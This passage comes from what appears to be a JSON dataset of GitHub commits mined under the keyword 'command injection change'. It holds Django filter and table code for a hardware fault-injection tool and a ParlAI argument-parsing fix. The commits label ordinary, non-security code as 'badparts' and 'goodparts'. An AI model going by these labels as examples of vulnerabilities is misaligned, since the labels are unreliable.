help_text='') register=django_filters.MultipleChoiceFilter( widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='') class Meta: model=simics_register_diff fields=('checkpoint_number', 'register') ", "sourceWithComments": "from django.forms import SelectMultiple, Textarea\nimport django_filters\nfrom re import split\n\nfrom .models import (event, injection, result, simics_register_diff)\n\n\ndef fix_sort(string):\n return ''.join([text.zfill(5) if text.isdigit() else text.lower() for\n text in split('([0-9]+)', str(string))])\n\n\ndef fix_sort_list(list):\n return fix_sort(list[0])\n\n\ndef result_choices(campaign, attribute):\n choices = []\n for item in result.objects.filter(campaign_id=campaign).values_list(\n attribute, flat=True).distinct():\n if item is not None:\n choices.append((item, item))\n return sorted(choices, key=fix_sort_list)\n\n\nclass injection_filter(django_filters.FilterSet):\n def __init__(self, *args, **kwargs):\n campaign = kwargs['campaign']\n del kwargs['campaign']\n super(injection_filter, self).__init__(*args, **kwargs)\n bit_choices = self.injection_choices(campaign, 'bit')\n self.filters['bit'].extra.update(choices=bit_choices)\n self.filters['bit'].widget.attrs['size'] = min(len(bit_choices), 10)\n checkpoint_number_choices = self.injection_choices(\n campaign, 'checkpoint_number')\n self.filters['checkpoint_number'].extra.update(\n choices=checkpoint_number_choices)\n self.filters['checkpoint_number'].widget.attrs['size'] = min(\n len(checkpoint_number_choices), 10)\n field_choices = self.injection_choices(campaign, 'field')\n self.filters['field'].extra.update(choices=field_choices)\n self.filters['field'].widget.attrs['size'] = min(len(field_choices), 10)\n register_choices = self.injection_choices(campaign, 'register')\n self.filters['register'].extra.update(choices=register_choices)\n self.filters['register'].widget.attrs['size'] = min(\n len(register_choices), 10)\n register_index_choices = self.injection_choices(\n campaign, 'register_index')\n self.filters['register_index'].extra.update(\n choices=register_index_choices)\n self.filters['register_index'].widget.attrs['size'] = min(\n len(register_index_choices), 10)\n num_injections_choices = result_choices(campaign, 'num_injections')\n self.filters['result__num_injections'].extra.update(\n choices=num_injections_choices)\n self.filters['result__num_injections'].widget.attrs['size'] = min(\n len(num_injections_choices), 10)\n outcome_choices = result_choices(campaign, 'outcome')\n self.filters['result__outcome'].extra.update(choices=outcome_choices)\n self.filters['result__outcome'].widget.attrs['size'] = min(\n len(outcome_choices), 10)\n outcome_category_choices = result_choices(campaign, 'outcome_category')\n self.filters['result__outcome_category'].extra.update(\n choices=outcome_category_choices)\n self.filters['result__outcome_category'].widget.attrs['size'] = min(\n len(outcome_category_choices), 10)\n self.filters['success'].extra.update(help_text='')\n target_choices = self.injection_choices(campaign, 'target')\n self.filters['target'].extra.update(choices=target_choices)\n self.filters['target'].widget.attrs['size'] = min(\n len(target_choices), 10)\n target_index_choices = self.injection_choices(campaign, 'target_index')\n self.filters['target_index'].extra.update(choices=target_index_choices)\n self.filters['target_index'].widget.attrs['size'] = min(\n len(target_index_choices), 10)\n\n def injection_choices(self, campaign, attribute):\n choices = []\n for item in injection.objects.filter(\n result__campaign_id=campaign).values_list(\n attribute, flat=True).distinct():\n if item is not None:\n choices.append((item, item))\n return sorted(choices, key=fix_sort_list)\n\n bit = django_filters.MultipleChoiceFilter(\n widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n checkpoint_number = django_filters.MultipleChoiceFilter(\n widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n field = django_filters.MultipleChoiceFilter(\n widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n register = django_filters.MultipleChoiceFilter(\n widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n register_index = django_filters.MultipleChoiceFilter(\n widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n result__aux_output = django_filters.CharFilter(\n label='AUX output',\n lookup_type='icontains',\n widget=Textarea(attrs={'cols': 16, 'rows': 3, 'type': 'search'}),\n help_text='')\n result__data_diff_gt = django_filters.NumberFilter(\n name='result__data_diff', label='Data diff (>)', lookup_type='gt',\n help_text='')\n result__data_diff_lt = django_filters.NumberFilter(\n name='result__data_diff', label='Data diff (<)', lookup_type='lt',\n help_text='')\n result__debugger_output = django_filters.CharFilter(\n label='Debugger output',\n lookup_type='icontains',\n widget=Textarea(attrs={'cols': 16, 'rows': 3, 'type': 'search'}),\n help_text='')\n result__dut_output = django_filters.CharFilter(\n label='DUT output',\n lookup_type='icontains',\n widget=Textarea(attrs={'cols': 16, 'rows': 3, 'type': 'search'}),\n help_text='')\n result__num_injections = django_filters.MultipleChoiceFilter(\n label='Number of injections',\n widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n result__outcome = django_filters.MultipleChoiceFilter(\n label='Outcome',\n widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n result__outcome_category = django_filters.MultipleChoiceFilter(\n label='Outcome category',\n widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n target = django_filters.MultipleChoiceFilter(\n widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n target_index = django_filters.MultipleChoiceFilter(\n widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n time_gt = django_filters.NumberFilter(\n name='time', label='Time (>)', lookup_type='gt', help_text='')\n time_lt = django_filters.NumberFilter(\n name='time', label='Time (<)', lookup_type='lt', help_text='')\n\n class Meta:\n model = injection\n fields = ('result__outcome_category', 'result__outcome',\n 'result__data_diff_gt', 'result__data_diff_lt',\n 'result__dut_output', 'result__aux_output',\n 'result__debugger_output', 'result__num_injections',\n 'checkpoint_number', 'time_gt', 'time_lt', 'target',\n 'target_index', 'register', 'register_index', 'bit', 'field',\n 'success')\n\n\nclass event_filter(django_filters.FilterSet):\n def __init__(self, *args, **kwargs):\n campaign = kwargs['campaign']\n del kwargs['campaign']\n super(event_filter, self).__init__(*args, **kwargs)\n event_type_choices = self.event_choices(campaign, 'event_type')\n self.filters['event_type'].extra.update(choices=event_type_choices)\n self.filters['event_type'].widget.attrs['size'] = min(\n len(event_type_choices), 10)\n source_choices = self.event_choices(campaign, 'source')\n self.filters['source'].extra.update(choices=source_choices)\n self.filters['source'].widget.attrs['size'] = min(\n len(source_choices), 10)\n\n def event_choices(self, campaign, attribute):\n choices = []\n for item in event.objects.filter(\n result__campaign_id=campaign).values_list(\n attribute, flat=True).distinct():\n if item is not None:\n choices.append((item, item))\n return sorted(choices, key=fix_sort_list)\n\n description = django_filters.CharFilter(\n lookup_type='icontains',\n widget=Textarea(attrs={'cols': 16, 'rows': 3, 'type': 'search'}),\n help_text='')\n event_type = django_filters.MultipleChoiceFilter(\n widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n source = django_filters.MultipleChoiceFilter(\n widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n\n class Meta:\n model = event\n fields = ('source', 'event_type', 'description')\n\n\nclass simics_register_diff_filter(django_filters.FilterSet):\n def __init__(self, *args, **kwargs):\n self.campaign = kwargs['campaign']\n del kwargs['campaign']\n super(simics_register_diff_filter, self).__init__(*args, **kwargs)\n self.queryset = kwargs['queryset']\n checkpoint_number_choices = self.simics_register_diff_choices(\n 'checkpoint_number')\n self.filters['checkpoint_number'].extra.update(\n choices=checkpoint_number_choices)\n self.filters['checkpoint_number'].widget.attrs['size'] = min(\n len(checkpoint_number_choices), 10)\n register_choices = self.simics_register_diff_choices('register')\n self.filters['register'].extra.update(choices=register_choices)\n self.filters['register'].widget.attrs['size'] = min(\n len(register_choices), 10)\n\n def simics_register_diff_choices(self, attribute):\n choices = []\n for item in self.queryset.filter(\n result__campaign_id=self.campaign\n ).values_list(attribute, flat=True).distinct():\n choices.append((item, item))\n return sorted(choices, key=fix_sort_list)\n\n checkpoint_number = django_filters.MultipleChoiceFilter(\n widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n register = django_filters.MultipleChoiceFilter(\n widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n\n class Meta:\n model = simics_register_diff\n fields = ('checkpoint_number', 'register')\n"}, "/log/tables.py": {"changes": [{"diff": "\n attrs = {\"class\": \"paleblue\"}\n model = result\n fields = ('select', 'id_', 'timestamp', 'outcome_category', 'outcome',\n- 'data_diff', 'detected_errors', 'num_injections', 'targets',\n- 'registers')\n+ 'data_diff', 'detected_errors', 'events', 'num_injections',\n+ 'targets', 'registers', 'injection_success')\n order_by = 'id_'", "add": 2, "remove": 2, "filename": "/log/tables.py", "badparts": [" 'data_diff', 'detected_errors', 'num_injections', 'targets',", " 'registers')"], "goodparts": [" 'data_diff', 'detected_errors', 'events', 'num_injections',", " 'targets', 'registers', 'injection_success')"]}], "source": "\nimport django_tables2 as tables from.models import(campaign, event, injection, result, simics_memory_diff, simics_register_diff) class campaigns_table(tables.Table): id_=tables.TemplateColumn( '{{ value}}', accessor='id') num_cycles=tables.Column() results=tables.Column(empty_values=(), orderable=False) def render_num_cycles(self, record): return '{:,}'.format(record.num_cycles) def render_results(self, record): return '{:,}'.format( result.objects.filter(campaign=record.id).count()) class Meta: attrs={\"class\": \"paleblue\"} model=campaign fields=('id_', 'results', 'command', 'aux_command', 'architecture', 'use_simics', 'exec_time', 'sim_time', 'num_cycles', 'timestamp') order_by='id_' class campaign_table(campaigns_table): num_checkpoints=tables.Column() cycles_between=tables.Column() results=tables.Column(empty_values=(), orderable=False) def render_num_checkpoints(self, record): return '{:,}'.format(record.num_checkpoints) def render_cycles_between(self, record): return '{:,}'.format(record.cycles_between) class Meta: attrs={\"class\": \"paleblue\"} model=campaign exclude=('id_',) fields=('id', 'timestamp', 'results', 'command', 'aux_command', 'architecture', 'use_simics', 'use_aux', 'exec_time', 'sim_time', 'num_cycles', 'output_file', 'num_checkpoints', 'cycles_between') class results_table(tables.Table): events=tables.Column(empty_values=(), orderable=False) id_=tables.TemplateColumn( '{{ value}}', accessor='id') registers=tables.Column(empty_values=(), orderable=False) select=tables.TemplateColumn( '', verbose_name='', orderable=False) timestamp=tables.DateTimeColumn(format='m/d/Y H:i:s.u') targets=tables.Column(empty_values=(), orderable=False) def render_events(self, record): return '{:,}'.format( event.objects.filter(result_id=record.id).count()) def render_registers(self, record): if record is not None: registers=[injection_.register for injection_ in injection.objects.filter(result=record.id)] else: registers=[] for index in range(len(registers)): if registers[index] is None: registers[index]='-' if len(registers) > 0: return ', '.join(registers) else: return '-' def render_targets(self, record): if record is not None: targets=[injection_.target for injection_ in injection.objects.filter(result=record.id)] else: targets=[] for index in range(len(targets)): if targets[index] is None: targets[index]='-' if len(targets) > 0: return ', '.join(targets) else: return '-' class Meta: attrs={\"class\": \"paleblue\"} model=result fields=('select', 'id_', 'timestamp', 'outcome_category', 'outcome', 'data_diff', 'detected_errors', 'num_injections', 'targets', 'registers') order_by='id_' class result_table(results_table): outcome=tables.TemplateColumn( '') outcome_category=tables.TemplateColumn( '') edit=tables.TemplateColumn( '') delete=tables.TemplateColumn( '') class Meta: attrs={\"class\": \"paleblue\"} model=result exclude=('id_', 'select', 'targets') fields=('id', 'timestamp', 'outcome_category', 'outcome', 'num_injections', 'data_diff', 'detected_errors') class event_table(tables.Table): description=tables.TemplateColumn( '{{ value}}') timestamp=tables.DateTimeColumn(format='m/d/Y H:i:s.u') class Meta: attrs={\"class\": \"paleblue\"} model=event fields=('timestamp', 'source', 'event_type', 'description') class hw_injection_table(tables.Table): timestamp=tables.DateTimeColumn(format='m/d/Y H:i:s.u') class Meta: attrs={\"class\": \"paleblue\"} model=injection exclude=('config_object', 'config_type', 'checkpoint_number', 'field', 'id', 'register_index', 'result') class simics_injection_table(tables.Table): timestamp=tables.DateTimeColumn(format='m/d/Y H:i:s.u') class Meta: attrs={\"class\": \"paleblue\"} model=injection fields=('injection_number', 'timestamp', 'checkpoint_number', 'target', 'target_index', 'register', 'register_index', 'bit', 'field', 'gold_value', 'injected_value', 'success') class simics_register_diff_table(tables.Table): class Meta: attrs={\"class\": \"paleblue\"} model=simics_register_diff exclude=('id', 'result') class simics_memory_diff_table(tables.Table): class Meta: attrs={\"class\": \"paleblue\"} model=simics_memory_diff exclude=('id', 'result') ", "sourceWithComments": "import django_tables2 as tables\n\nfrom .models import (campaign, event, injection, result, simics_memory_diff,\n simics_register_diff)\n\n\nclass campaigns_table(tables.Table):\n id_ = tables.TemplateColumn(\n '{{ value }}',\n accessor='id')\n num_cycles = tables.Column()\n results = tables.Column(empty_values=(), orderable=False)\n\n def render_num_cycles(self, record):\n return '{:,}'.format(record.num_cycles)\n\n def render_results(self, record):\n return '{:,}'.format(\n result.objects.filter(campaign=record.id).count())\n\n class Meta:\n attrs = {\"class\": \"paleblue\"}\n model = campaign\n fields = ('id_', 'results', 'command', 'aux_command', 'architecture',\n 'use_simics', 'exec_time', 'sim_time', 'num_cycles',\n 'timestamp')\n order_by = 'id_'\n\n\nclass campaign_table(campaigns_table):\n num_checkpoints = tables.Column()\n cycles_between = tables.Column()\n results = tables.Column(empty_values=(), orderable=False)\n\n def render_num_checkpoints(self, record):\n return '{:,}'.format(record.num_checkpoints)\n\n def render_cycles_between(self, record):\n return '{:,}'.format(record.cycles_between)\n\n class Meta:\n attrs = {\"class\": \"paleblue\"}\n model = campaign\n exclude = ('id_',)\n fields = ('id', 'timestamp', 'results', 'command', 'aux_command',\n 'architecture', 'use_simics', 'use_aux', 'exec_time',\n 'sim_time', 'num_cycles', 'output_file', 'num_checkpoints',\n 'cycles_between')\n\n\nclass results_table(tables.Table):\n events = tables.Column(empty_values=(), orderable=False)\n id_ = tables.TemplateColumn( # LinkColumn()\n '{{ value }}', accessor='id')\n registers = tables.Column(empty_values=(), orderable=False)\n select = tables.TemplateColumn(\n '',\n verbose_name='', orderable=False)\n timestamp = tables.DateTimeColumn(format='m/d/Y H:i:s.u')\n targets = tables.Column(empty_values=(), orderable=False)\n\n def render_events(self, record):\n return '{:,}'.format(\n event.objects.filter(result_id=record.id).count())\n\n def render_registers(self, record):\n if record is not None:\n registers = [injection_.register for injection_\n in injection.objects.filter(result=record.id)]\n else:\n registers = []\n for index in range(len(registers)):\n if registers[index] is None:\n registers[index] = '-'\n if len(registers) > 0:\n return ', '.join(registers)\n else:\n return '-'\n\n def render_targets(self, record):\n if record is not None:\n targets = [injection_.target for injection_\n in injection.objects.filter(result=record.id)]\n else:\n targets = []\n for index in range(len(targets)):\n if targets[index] is None:\n targets[index] = '-'\n if len(targets) > 0:\n return ', '.join(targets)\n else:\n return '-'\n\n class Meta:\n attrs = {\"class\": \"paleblue\"}\n model = result\n fields = ('select', 'id_', 'timestamp', 'outcome_category', 'outcome',\n 'data_diff', 'detected_errors', 'num_injections', 'targets',\n 'registers')\n order_by = 'id_'\n\n\nclass result_table(results_table):\n outcome = tables.TemplateColumn(\n '')\n outcome_category = tables.TemplateColumn(\n '')\n edit = tables.TemplateColumn(\n '')\n delete = tables.TemplateColumn(\n '')\n\n class Meta:\n attrs = {\"class\": \"paleblue\"}\n model = result\n exclude = ('id_', 'select', 'targets')\n fields = ('id', 'timestamp', 'outcome_category', 'outcome',\n 'num_injections', 'data_diff', 'detected_errors')\n\n\nclass event_table(tables.Table):\n description = tables.TemplateColumn(\n '{{ value }}')\n timestamp = tables.DateTimeColumn(format='m/d/Y H:i:s.u')\n\n class Meta:\n attrs = {\"class\": \"paleblue\"}\n model = event\n fields = ('timestamp', 'source', 'event_type', 'description')\n\n\nclass hw_injection_table(tables.Table):\n timestamp = tables.DateTimeColumn(format='m/d/Y H:i:s.u')\n\n class Meta:\n attrs = {\"class\": \"paleblue\"}\n model = injection\n exclude = ('config_object', 'config_type', 'checkpoint_number', 'field',\n 'id', 'register_index', 'result')\n\n\nclass simics_injection_table(tables.Table):\n timestamp = tables.DateTimeColumn(format='m/d/Y H:i:s.u')\n\n class Meta:\n attrs = {\"class\": \"paleblue\"}\n model = injection\n fields = ('injection_number', 'timestamp', 'checkpoint_number',\n 'target', 'target_index', 'register', 'register_index', 'bit',\n 'field', 'gold_value', 'injected_value', 'success')\n\n\nclass simics_register_diff_table(tables.Table):\n class Meta:\n attrs = {\"class\": \"paleblue\"}\n model = simics_register_diff\n exclude = ('id', 'result')\n\n\nclass simics_memory_diff_table(tables.Table):\n class Meta:\n attrs = {\"class\": \"paleblue\"}\n model = simics_memory_diff\n exclude = ('id', 'result')\n"}}, "msg": "added login command options\nupdated event exception and stack trace logging\nadded injection success column to results table\ncleaned up result template\nadded open all displayed button to results table page\nadded clean command"}}, "https://github.com/THUDM/KBRD": {"601668d569e1276e0b8bf2bf8fb43e391e10d170": {"url": "https://api.github.com/repos/THUDM/KBRD/commits/601668d569e1276e0b8bf2bf8fb43e391e10d170", "html_url": "https://github.com/THUDM/KBRD/commit/601668d569e1276e0b8bf2bf8fb43e391e10d170", "message": "Fix args injection inside add_extra_args (#802)\n\nA recent change broke callers that were using the Predictor class from inside another application (and thus with different command line parameters). Calling parse_known_args without injecting the args forces it to resolve sys.argv, which in that case do not correspond at all to ParlAI parameters.", "sha": "601668d569e1276e0b8bf2bf8fb43e391e10d170", "keyword": "command injection change", "diff": "diff --git a/parlai/core/params.py b/parlai/core/params.py\nindex 027c02c9..17e4a98c 100644\n--- a/parlai/core/params.py\n+++ b/parlai/core/params.py\n@@ -335,7 +335,7 @@ def add_image_args(self, image_mode):\n \n def add_extra_args(self, args=None):\n \"\"\"Add more args depending on how known args are set.\"\"\"\n- parsed = vars(self.parse_known_args(nohelp=True)[0])\n+ parsed = vars(self.parse_known_args(args, nohelp=True)[0])\n \n # find which image mode specified if any, and add additional arguments\n image_mode = parsed.get('image_mode', None)\n", "files": {"/parlai/core/params.py": {"changes": [{"diff": "\n \n def add_extra_args(self, args=None):\n \"\"\"Add more args depending on how known args are set.\"\"\"\n- parsed = vars(self.parse_known_args(nohelp=True)[0])\n+ parsed = vars(self.parse_known_args(args, nohelp=True)[0])\n \n # find which image mode specified if any, and add additional arguments\n image_mode = parsed.get('image_mode', None)\n", "add": 1, "remove": 1, "filename": "/parlai/core/params.py", "badparts": [" parsed = vars(self.parse_known_args(nohelp=True)[0])"], "goodparts": [" parsed = vars(self.parse_known_args(args, nohelp=True)[0])"]}], "source": "\n \"\"\"Provides an argument parser and a set of default command line options for using the ParlAI package. \"\"\" import argparse import importlib import os import sys from parlai.core.agents import get_agent_module, get_task_module from parlai.tasks.tasks import ids_to_tasks def str2bool(value): v=value.lower() if v in('yes', 'true', 't', '1', 'y'): return True elif v in('no', 'false', 'f', 'n', '0'): return False else: raise argparse.ArgumentTypeError('Boolean value expected.') def str2class(value): \"\"\"From import path string, returns the class specified. For example, the string 'parlai.agents.drqa.drqa:SimpleDictionaryAgent' returns . \"\"\" if ':' not in value: raise RuntimeError('Use a colon before the name of the class.') name=value.split(':') module=importlib.import_module(name[0]) return getattr(module, name[1]) def class2str(value): \"\"\"Inverse of params.str2class().\"\"\" s=str(value) s=s[s.find('\\'') +1:s.rfind('\\'')] s=':'.join(s.rsplit('.', 1)) return s def modelzoo_path(datapath, path): \"\"\"If path starts with 'models', then we remap it to the model zoo path within the data directory(default is ParlAI/data/models). .\"\"\" if path is None: return None if not path.startswith('models:'): return path else: animal=path[7:path.rfind('/')].replace('/', '.') module_name=f\"parlai.zoo.{animal}\" print(module_name) try: my_module=importlib.import_module(module_name) download=getattr(my_module, 'download') download(datapath) except(ModuleNotFoundError, AttributeError): pass return os.path.join(datapath, 'models', path[7:]) class ParlaiParser(argparse.ArgumentParser): \"\"\"Pseudo-extension of ``argparse`` which sets a number of parameters for the ParlAI framework. More options can be added specific to other modules by passing this object and calling ``add_arg()`` or ``add_argument()`` on it. For example, see ``parlai.core.dict.DictionaryAgent.add_cmdline_args``. \"\"\" def __init__(self, add_parlai_args=True, add_model_args=False): \"\"\"Initializes the ParlAI argparser. -add_parlai_args(default True) initializes the default arguments for ParlAI package, including the data download paths and task arguments. -add_model_args(default False) initializes the default arguments for loading models, including initializing arguments from that model. \"\"\" super().__init__(description='ParlAI parser.', allow_abbrev=False, conflict_handler='resolve') self.register('type', 'bool', str2bool) self.register('type', 'class', str2class) self.parlai_home=(os.path.dirname(os.path.dirname(os.path.dirname( os.path.realpath(__file__))))) os.environ['PARLAI_HOME']=self.parlai_home self.add_arg=self.add_argument self.cli_args=sys.argv self.overridable={} if add_parlai_args: self.add_parlai_args() if add_model_args: self.add_model_args() def add_parlai_data_path(self, argument_group=None): if argument_group is None: argument_group=self default_data_path=os.path.join(self.parlai_home, 'data') argument_group.add_argument( '-dp', '--datapath', default=default_data_path, help='path to datasets, defaults to{parlai_dir}/data') def add_mturk_args(self): mturk=self.add_argument_group('Mechanical Turk') default_log_path=os.path.join(self.parlai_home, 'logs', 'mturk') mturk.add_argument( '--mturk-log-path', default=default_log_path, help='path to MTurk logs, defaults to{parlai_dir}/logs/mturk') mturk.add_argument( '-t', '--task', help='MTurk task, e.g. \"qa_data_collection\" or \"model_evaluator\"') mturk.add_argument( '-nc', '--num-conversations', default=1, type=int, help='number of conversations you want to create for this task') mturk.add_argument( '--unique', dest='unique_worker', default=False, action='store_true', help='enforce that no worker can work on your task twice') mturk.add_argument( '--unique-qual-name', dest='unique_qual_name', default=None, type=str, help='qualification name to use for uniqueness between HITs') mturk.add_argument( '-r', '--reward', default=0.05, type=float, help='reward for each worker for finishing the conversation, ' 'in US dollars') mturk.add_argument( '--sandbox', dest='is_sandbox', action='store_true', help='submit the HITs to MTurk sandbox site') mturk.add_argument( '--live', dest='is_sandbox', action='store_false', help='submit the HITs to MTurk live site') mturk.add_argument( '--debug', dest='is_debug', action='store_true', help='print and log all server interactions and messages') mturk.add_argument( '--verbose', dest='verbose', action='store_true', help='print all messages sent to and from Turkers') mturk.add_argument( '--hard-block', dest='hard_block', action='store_true', default=False, help='Hard block disconnecting Turkers from all of your HITs') mturk.add_argument( '--log-level', dest='log_level', type=int, default=20, help='importance level for what to put into the logs. the lower ' 'the level the more that gets logged. values are 0-50') mturk.add_argument( '--block-qualification', dest='block_qualification', default='', help='Qualification to use for soft blocking users. By default ' 'turkers are never blocked, though setting this will allow ' 'you to filter out turkers that have disconnected too many ' 'times on previous HITs where this qualification was set.') mturk.add_argument( '--count-complete', dest='count_complete', default=False, action='store_true', help='continue until the requested number of conversations are ' 'completed rather than attempted') mturk.add_argument( '--allowed-conversations', dest='allowed_conversations', default=0, type=int, help='number of concurrent conversations that one mturk worker ' 'is able to be involved in, 0 is unlimited') mturk.add_argument( '--max-connections', dest='max_connections', default=30, type=int, help='number of HITs that can be launched at the same time, 0 is ' 'unlimited.' ) mturk.add_argument( '--min-messages', dest='min_messages', default=0, type=int, help='number of messages required to be sent by MTurk agent when ' 'considering whether to approve a HIT in the event of a ' 'partner disconnect. I.e. if the number of messages ' 'exceeds this number, the turker can submit the HIT.' ) mturk.add_argument( '--local', dest='local', default=False, action='store_true', help='Run the server locally on this server rather than setting up' ' a heroku server.' ) mturk.set_defaults(is_sandbox=True) mturk.set_defaults(is_debug=False) mturk.set_defaults(verbose=False) def add_messenger_args(self): messenger=self.add_argument_group('Facebook Messenger') messenger.add_argument( '--debug', dest='is_debug', action='store_true', help='print and log all server interactions and messages') messenger.add_argument( '--verbose', dest='verbose', action='store_true', help='print all messages sent to and from Turkers') messenger.add_argument( '--log-level', dest='log_level', type=int, default=20, help='importance level for what to put into the logs. the lower ' 'the level the more that gets logged. values are 0-50') messenger.add_argument( '--force-page-token', dest='force_page_token', action='store_true', help='override the page token stored in the cache for a new one') messenger.add_argument( '--password', dest='password', type=str, default=None, help='Require a password for entry to the bot') messenger.add_argument( '--local', dest='local', action='store_true', default=False, help='Run the server locally on this server rather than setting up' ' a heroku server.' ) messenger.set_defaults(is_debug=False) messenger.set_defaults(verbose=False) def add_parlai_args(self, args=None): default_downloads_path=os.path.join(self.parlai_home, 'downloads') parlai=self.add_argument_group('Main ParlAI Arguments') parlai.add_argument( '-t', '--task', help='ParlAI task(s), e.g. \"babi:Task1\" or \"babi,cbt\"') parlai.add_argument( '--download-path', default=default_downloads_path, help='path for non-data dependencies to store any needed files.' 'defaults to{parlai_dir}/downloads') parlai.add_argument( '-dt', '--datatype', default='train', choices=['train', 'train:stream', 'train:ordered', 'train:ordered:stream', 'train:stream:ordered', 'valid', 'valid:stream', 'test', 'test:stream'], help='choose from: train, train:ordered, valid, test. to stream ' 'data add \":stream\" to any option(e.g., train:stream). ' 'by default: train is random with replacement, ' 'valid is ordered, test is ordered.') parlai.add_argument( '-im', '--image-mode', default='raw', type=str, help='image preprocessor to use. default is \"raw\". set to \"none\" ' 'to skip image loading.') parlai.add_argument( '-nt', '--numthreads', default=1, type=int, help='number of threads. If batchsize set to 1, used for hogwild; ' 'otherwise, used for number of threads in threadpool loading,' ' e.g. in vqa') parlai.add_argument( '--hide-labels', default=False, type='bool', help='default(False) moves labels in valid and test sets to the ' 'eval_labels field. If True, they are hidden completely.') batch=self.add_argument_group('Batching Arguments') batch.add_argument( '-bs', '--batchsize', default=1, type=int, help='batch size for minibatch training schemes') batch.add_argument('-bsrt', '--batch-sort', default=True, type='bool', help='If enabled(default True), create batches by ' 'flattening all episodes to have exactly one ' 'utterance exchange and then sorting all the ' 'examples according to their length. This ' 'dramatically reduces the amount of padding ' 'present after examples have been parsed, ' 'speeding up training.') batch.add_argument('-clen', '--context-length', default=-1, type=int, help='Number of past utterances to remember when ' 'building flattened batches of data in multi-' 'example episodes.') batch.add_argument('-incl', '--include-labels', default=True, type='bool', help='Specifies whether or not to include labels ' 'as past utterances when building flattened ' 'batches of data in multi-example episodes.') self.add_parlai_data_path(parlai) def add_model_args(self): \"\"\"Add arguments related to models such as model files.\"\"\" model_args=self.add_argument_group('ParlAI Model Arguments') model_args.add_argument( '-m', '--model', default=None, help='the model class name. can match parlai/agents/ for ' 'agents in that directory, or can provide a fully specified ' 'module for `from X import Y` via `-m X:Y` ' '(e.g. `-m parlai.agents.seq2seq.seq2seq:Seq2SeqAgent`)') model_args.add_argument( '-mf', '--model-file', default=None, help='model file name for loading and saving models') model_args.add_argument( '--dict-class', help='the class of the dictionary agent uses') def add_model_subargs(self, model): \"\"\"Add arguments specific to a particular model.\"\"\" agent=get_agent_module(model) try: if hasattr(agent, 'add_cmdline_args'): agent.add_cmdline_args(self) except argparse.ArgumentError: pass try: if hasattr(agent, 'dictionary_class'): s=class2str(agent.dictionary_class()) self.set_defaults(dict_class=s) except argparse.ArgumentError: pass def add_task_args(self, task): \"\"\"Add arguments specific to the specified task.\"\"\" for t in ids_to_tasks(task).split(','): agent=get_task_module(t) try: if hasattr(agent, 'add_cmdline_args'): agent.add_cmdline_args(self) except argparse.ArgumentError: pass def add_image_args(self, image_mode): \"\"\"Add additional arguments for handling images.\"\"\" try: parlai=self.add_argument_group('ParlAI Image Preprocessing Arguments') parlai.add_argument('--image-size', type=int, default=256, help='resizing dimension for images') parlai.add_argument('--image-cropsize', type=int, default=224, help='crop dimension for images') except argparse.ArgumentError: pass def add_extra_args(self, args=None): \"\"\"Add more args depending on how known args are set.\"\"\" parsed=vars(self.parse_known_args(nohelp=True)[0]) image_mode=parsed.get('image_mode', None) if image_mode is not None and image_mode !='none': self.add_image_args(image_mode) task=parsed.get('task', None) if task is not None: self.add_task_args(task) evaltask=parsed.get('evaltask', None) if evaltask is not None: self.add_task_args(evaltask) model=parsed.get('model', None) if model is not None: self.add_model_subargs(model) try: self.set_defaults(**self._defaults) except AttributeError: raise RuntimeError('Please file an issue on github that argparse ' 'got an attribute error when parsing.') def parse_known_args(self, args=None, namespace=None, nohelp=False): \"\"\"Custom parse known args to ignore help flag.\"\"\" if nohelp: args=sys.argv[1:] if args is None else args args=[a for a in args if a !='-h' and a !='--help'] return super().parse_known_args(args, namespace) def parse_args(self, args=None, namespace=None, print_args=True): \"\"\"Parses the provided arguments and returns a dictionary of the ``args``. We specifically remove items with ``None`` as values in order to support the style ``opt.get(key, default)``, which would otherwise return ``None``. \"\"\" self.add_extra_args(args) self.args=super().parse_args(args=args) self.opt=vars(self.args) self.opt['parlai_home']=self.parlai_home if 'batchsize' in self.opt and self.opt['batchsize'] <=1: self.opt.pop('batch_sort', None) self.opt.pop('context_length', None) if self.opt.get('download_path'): os.environ['PARLAI_DOWNPATH']=self.opt['download_path'] if self.opt.get('datapath'): os.environ['PARLAI_DATAPATH']=self.opt['datapath'] if self.opt.get('model_file') is not None: self.opt['model_file']=modelzoo_path(self.opt.get('datapath'), self.opt['model_file']) if self.opt.get('dict_file') is not None: self.opt['dict_file']=modelzoo_path(self.opt.get('datapath'), self.opt['dict_file']) option_strings_dict={} store_true=[] store_false=[] for group in self._action_groups: for a in group._group_actions: if hasattr(a, 'option_strings'): for option in a.option_strings: option_strings_dict[option]=a.dest if '_StoreTrueAction' in str(type(a)): store_true.append(option) elif '_StoreFalseAction' in str(type(a)): store_false.append(option) for i in range(len(self.cli_args)): if self.cli_args[i] in option_strings_dict: if self.cli_args[i] in store_true: self.overridable[option_strings_dict[self.cli_args[i]]]=\\ True elif self.cli_args[i] in store_false: self.overridable[option_strings_dict[self.cli_args[i]]]=\\ False else: if i <(len(self.cli_args) -1) and \\ self.cli_args[i+1][0] !='-': self.overridable[option_strings_dict[self.cli_args[i]]]=\\ self.cli_args[i+1] self.opt['override']=self.overridable if print_args: self.print_args() return self.opt def print_args(self): \"\"\"Print out all the arguments in this parser.\"\"\" if not self.opt: self.parse_args(print_args=False) values={} for key, value in self.opt.items(): values[str(key)]=str(value) for group in self._action_groups: group_dict={ a.dest: getattr(self.args, a.dest, None) for a in group._group_actions } namespace=argparse.Namespace(**group_dict) count=0 for key in namespace.__dict__: if key in values: if count==0: print('[ ' +group.title +':] ') count +=1 print('[ ' +key +': ' +values[key] +']') def set_params(self, **kwargs): \"\"\"Set overridable kwargs.\"\"\" self.set_defaults(**kwargs) for k, v in kwargs.items(): self.overridable[k]=v ", "sourceWithComments": "# Copyright (c) 2017-present, Facebook, 